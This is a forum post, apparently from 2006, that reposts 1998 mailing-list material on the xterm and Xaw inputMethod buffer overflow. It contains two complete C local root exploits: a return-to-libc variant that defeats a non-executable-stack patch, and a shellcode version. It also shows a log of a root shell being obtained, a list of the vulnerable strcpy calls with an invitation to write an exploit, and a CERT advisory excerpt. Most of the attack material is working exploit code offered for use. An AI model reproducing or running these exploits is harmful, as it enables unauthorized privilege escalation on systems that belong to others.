MaHaReT Posted June 21, 2006 Report Posted June 21, 2006 Date: Wed, 10 Jun 1998 20:09:07 +0200 (MET DST) From: "M.C.Mar" <woloszyn@nospam.it.pl> X-Sender: woloszyn@dollar.it.com.plReply-To: "M.C.Mar" <emsi@it.com.pl>To: fyodor@insecure.orgSubject: my sploitMessage-ID: <Pine.GSO.3.96.980610200850.7281v-100000@dollar.it.com.pl>X-Hidden-txt: Screw WindozeHi! I developed sploit against Xaw and neXtaw which works even is Solar Designer's patch is applyed. While compiling tandard sploit developed by alcuin: emsi:~/hack> gcc xterm.c emsi:~/hack> ./a.out Segmentation fault Then as root:emsi:/home/mcmar/hack# grep overflow /var/adm/syslog -A1 Jun 10 19:09:39 emsi kernel: Possible buffer overflow exploit attempt: Jun 10 19:09:39 emsi kernel: Process xterm (pid 311, uid 1001, euid 0). Now compile my sploit:emsi:~/hack> gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lcemsi:~/hack> ./a.out bash# Cool, izn't it? And here goes (for the eduction of curse my sploit source: emsi:~/hack> cat 3xterm.c /* A simple xploit working arround non-executable stack patch! Based on Solar Designer's: "Getting around non-executable stack(fix)" post and:Rafa? Wojtczuk's "Defeating Solar Designer'a Non-executable Stach Patch" sploit by Kil3r of Lam3rZ against both Xaw and neXtaw widgets based on xterm_exp.c by alcuin Compile it like this:gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc Description:The sploit simply passes the EXECLP address and its parameters addresses onto the stack. To work fine you need to look for execlp Program Linkage Table entry in xterm and for "/bin/sh" string in its data segment... emsi:~mcmar/hack# gdb xtermGDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i486-slackware-linux), Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...(gdb) print execlp $1 = {<text variable, no debug info>} 0x804bc78 <execlp> (gdb) x/s 0x8063d2e0x8063d2e <_fini+8158>: "/bin/sh" 0x804bc78 and 0x8063d2e are OK for me, but you may need to look for the riht ones in your case... GreetZ: bulba, smierc and whole Lam3rZ teem and other Polish hackers. */ #include <stdlib.h>#include <stdio.h>#include <ctype.h> #define CONFFILE ".Xdefaults"#define OLDFILE ".Xdefaults.old"#define NEWFILE ".Xdefaults.new" #define EXECLP 0x804bc78 // execlp PLT adress in xterm #define BIN_SH 0x8063d2e // "/bin/sh" string address in xterm int *ptr; void main(int argc, char *argv[]) { char *home;FILE *f_in, *f_out;char buff[16384];char shellbuf[16384];char *s;int i; if (home = getenv("HOME")) chdir(home); if (!(f_out = fopen(NEWFILE, "w"))) { perror("fopen");exit(1);} if (f_in = fopen(CONFFILE, "r")) {fseek(f_in,0,SEEK_SET);while (!feof(f_in)) { fgets(buff,16384,f_in); for (s=buff;isblank(*s);s++); if (strncmp(s,"xterm*inputMethod",17)<0) fputs(buff,f_out);}fclose(f_in);} /* fill the buffer with nops */memset(shellbuf, 0x90, sizeof(shellbuf)); shellbuf[sizeof(shellbuf)-1] = 0; ptr = (int *)(shellbuf+102b);*ptr++ =EXECLP;*ptr++ =EXECLP;*ptr++ =BIN_SH;*ptr++ =BIN_SH;*ptr++ = 0; fputs("xterm*inputMethod:",f_out);fputs(shellbuf, f_out);fclose(f_out); system("/bin/cp "CONFFILE" "OLDFILE); system("/bin/mv -f "NEWFILE" "CONFFILE); execl("/usr/X11R6/bin/xterm","xterm",NULL); } M.C.Mar An NT server can be run by an idiot, and usually is. emsi@it.pl "If you can't make it good, make it LOOK good." - Bill Gates Date: Mon, 4 May 1998 11:06:05 +0200From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>To: BUGTRAQ@NETSPACE.ORGSubject: Re: TOG and xterm problemOn Fri, 1 May 1998, Jeff Gehlbach wrote:> Open Group, when *will* the rest of us see at least some clues about where> the bug lies and how it can be fixed? You say you won't release patches> to X11R<6.4, but can you at least be nice enough to tell those of us using> the still-perfectly-serviceable 6.3 just a tidbit about the problem?Believe or not, it took me 10 minutes to grep the appropriate parts ofX11R6.3 sources, following the clues mentioned in the CERT advisory, andfind the bugs--at least some of them.xc/programs/xterm/charproc.c:* HandleKeymapChange(): (void) sprintf( mapName, "%sKeymap", params[0] ); (void) strcpy( mapClass, mapName );(actually, the second command is mostly harmless because the size ofmapName and mapClass is the same)xc/programs/xterm/charproc.c:* VTInitI18N(): strcpy(tmp, term->misc.input_method);... strcpy(buf, "@im="); strcat(buf, s);... strcpy(tmp, term->misc.preedit_type);xc/lib/Xaw/XawIm.c:* OpenIM(): strcpy(modifiers, "@im="); strcat(modifiers, ve->im.im_list);* ParseIMNameList(): char *s, *save_s, *ss, *list[32], **lp, *end;... list = s;(This one is quite interesting.Exercise for the reader: write an exploit.)<ironic>Security hint of the day: find . -name '*.[ch]' | xargs egrep -l 'sprintf|strcat|strcpy' | xargs rm</ironic>--Pavel Kankovsky aka Peak [ Boycott Microsoft--http://www.vcnet.com/bms ]P.S. A copy of this message is being submitted to XFree86./* xterm_exp.c : linux/x86 xterm.Xaw exploit by alcuin - 5/4/98 - [ http://www.rootshell.com/ ] It works against both Xaw and neXtaw widgets NB: you have to cp ~/.Xdefaults.old ~/.Xdefaults to be able to use xterm again.*/#include <stdlib.h>#include <stdio.h>#include <ctype.h>unsigned int getsp() { asm("mov %esp,%eax");}inline rootshell(){ __asm__( "movb $0x56, %alnt" "l1:cmpb $0x12, %alnt" "je l2nt" "movb $0x12,%alnt" "call l1nt" "l2:pop %esint" "xorl %eax,%eaxnt" "movb $0x25, %alnt" "addl %eax,%esint" "movl %esi,%ebxnt" "movl %esi,%edint" "movb $8,%alnt" "addl %eax,%edint" "movb $5,%alnt" "addl %eax,%esint" "movl %esi,(%edi)nt" "movl %edi,%ecxnt" "incl %edint" "incl %edint" "incl %edint" "incl %edint" "xorb %al,%alnt" "movl %eax,(%edi)nt" "movl %edi,%edxnt" "movb $0xb,%alnt" "int $0x80nt" ".string "/bin/sh"n" );}#define CONFFILE ".Xdefaults"#define OLDFILE ".Xdefaults.old"#define NEWFILE ".Xdefaults.new"main (int argc, char **argv) { char *home; FILE *f_in, *f_out; char buf[16384]; char shellbuf[16384]; char *s; int i; unsigned int sp=getsp(); if (home = getenv("HOME")) chdir(home); if (!(f_out = fopen(NEWFILE, "w"))) { perror("fopen"); exit(1); } if (f_in = fopen(CONFFILE, "r")) { fseek(f_in,0,SEEK_SET); while (!feof(f_in)) { fgets(buf,16384,f_in); for (s=buf;isblank(*s);s++); if (strncmp(s,"xterm*inputMethod",17)<0) fputs(buf,f_out); } fclose(f_in); } /* fill the buffer with nops */ memset(shellbuf, 0x90, sizeof(shellbuf)); shellbuf[sizeof(shellbuf)-1] = 0; /* write the return adress */ s = shellbuf+2052; *(int *)s=sp+0x69F5; /* write the root shell code */ s = shellbuf+2800; strcpy(s,(char*)rootshell); fputs("xterm*inputMethod:",f_out); fputs(shellbuf, f_out); fclose(f_out); system("/bin/cp "CONFFILE" "OLDFILE); system("/bin/mv -f "NEWFILE" "CONFFILE); execl("/usr/X11R6/bin/xterm","xterm",NULL);}[ From CERT advisory VB-98.04 ]I. DescriptionVulnerabilities exist in the terminal emulator xterm(1), and the Xawlibrary distributed in various MIT X Consortium; X Consortium, Inc.;and The Open Group X Project Team releases. These vulnerabilities maybe exploited by an intruder to gain root access. The resources and the releases affected by the xterm vulnerability are: Resources inputMethod preeditType *Keymap Release X11R3 NO NO YES X11R4 NO NO YES X11R5 NO NO YES X11R6 NO NO YES X11R6.1 YES YES YES X11R6.2 YES YES YES X11R6.3 YES YES YES X11R6.4 YES YES YESThe resources and the releases affected by the Xaw libraryvulnerability are Resources inputMethod preeditType Release X11R6 YES YES X11R6.1 YES YES X11R6.2 YES YES X11R6.3 YES YES X11R6.4 YES YES(X11R6.2 was not released to the public.)The Open Group X Project Team has investigated the issue and recommends the following steps for neutralizing the exposure. It is HIGHLY RECOMMENDEDthat these measures be implemented on ALL vulnerable systems. This issue will be corrected in future X Project Team releases of X11. Quote
PsYKid Posted June 21, 2006 Report Posted June 21, 2006 s`a mai zis de o mie de ori sa puneti codul sursa in CODE. Quote
